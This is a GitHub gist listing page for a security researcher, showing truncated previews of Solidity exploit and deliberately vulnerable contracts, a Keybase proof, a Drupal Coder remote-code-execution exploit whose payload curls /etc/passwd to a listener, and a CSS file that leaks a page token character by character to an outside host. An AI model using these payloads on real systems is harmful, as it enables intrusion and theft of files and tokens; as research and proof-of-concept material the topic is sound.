Skip to content

Instantly share code, notes, and snippets.

View reentrancy.sol
import './Lighthouse.sol';
import './RobotLiability.sol';
import './XRT.sol';
contract Exploit {
event Log (
string _log
);
Lighthouse public lighthouse;
View pirateship.solidity
pragma solidity ^0.4.19;
contract PirateShip {
address public anchor = 0x0;
bool public blackJackIsHauled = false;
function sailAway() public {
require(anchor != 0x0);
address a = anchor;
View callmemaybe.sol
contract CallMeMaybe {
modifier CallMeMaybe() {
uint32 size;
address _addr = msg.sender;
assembly {
size := extcodesize(_addr)
}
if (size > 0) {
revert();
}
View wheeloffortune.solidity
pragma solidity ^0.4.16;
contract WheelOfFortune {
Game[] public games;
struct Game {
address player;
uint id;
uint bet;
uint blockNumber;
View azino777.solidity
pragma solidity ^0.4.16;
contract Azino777 {
function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
if(num == bet) {
msg.sender.transfer(this.balance);
}
View keybase.md

Keybase proof

I hereby claim:

  • I am raz0r on github.
  • I am raz0r (https://keybase.io/raz0r) on keybase.
  • I have a public key ASAsfmALvy1Q-Jzq4XYRXituwi1wEKo-OxxTAfPUYhZn2Ao

To claim this, I am signing this object:

@Raz0r
Raz0r / drupal-coder-rce.php
Created Jul 22, 2016
SA-CONTRIB-2016-039
View drupal-coder-rce.php
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
$a = array(
View rpo.css
@-moz-document regexp(".*token1=0.*"){*{background:url(//raz0r.name/?character:0#position:0)}}
@-moz-document regexp(".*token1=1.*"){*{background:url(//raz0r.name/?character:1#position:0)}}
@-moz-document regexp(".*token1=2.*"){*{background:url(//raz0r.name/?character:2#position:0)}}
@-moz-document regexp(".*token1=3.*"){*{background:url(//raz0r.name/?character:3#position:0)}}
@-moz-document regexp(".*token1=4.*"){*{background:url(//raz0r.name/?character:4#position:0)}}
@-moz-document regexp(".*token1=5.*"){*{background:url(//raz0r.name/?character:5#position:0)}}
@-moz-document regexp(".*token1=6.*"){*{background:url(//raz0r.name/?character:6#position:0)}}
@-moz-document regexp(".*token1=7.*"){*{background:url(//raz0r.name/?character:7#position:0)}}
@-moz-document regexp(".*token1=8.*"){*{background:url(//raz0r.name/?character:8#position:0)}}
@-moz-document regexp(".*token1=9.*"){*{background:url(//raz0r.name/?character:9#position:0)}}
You can’t perform that action at this time.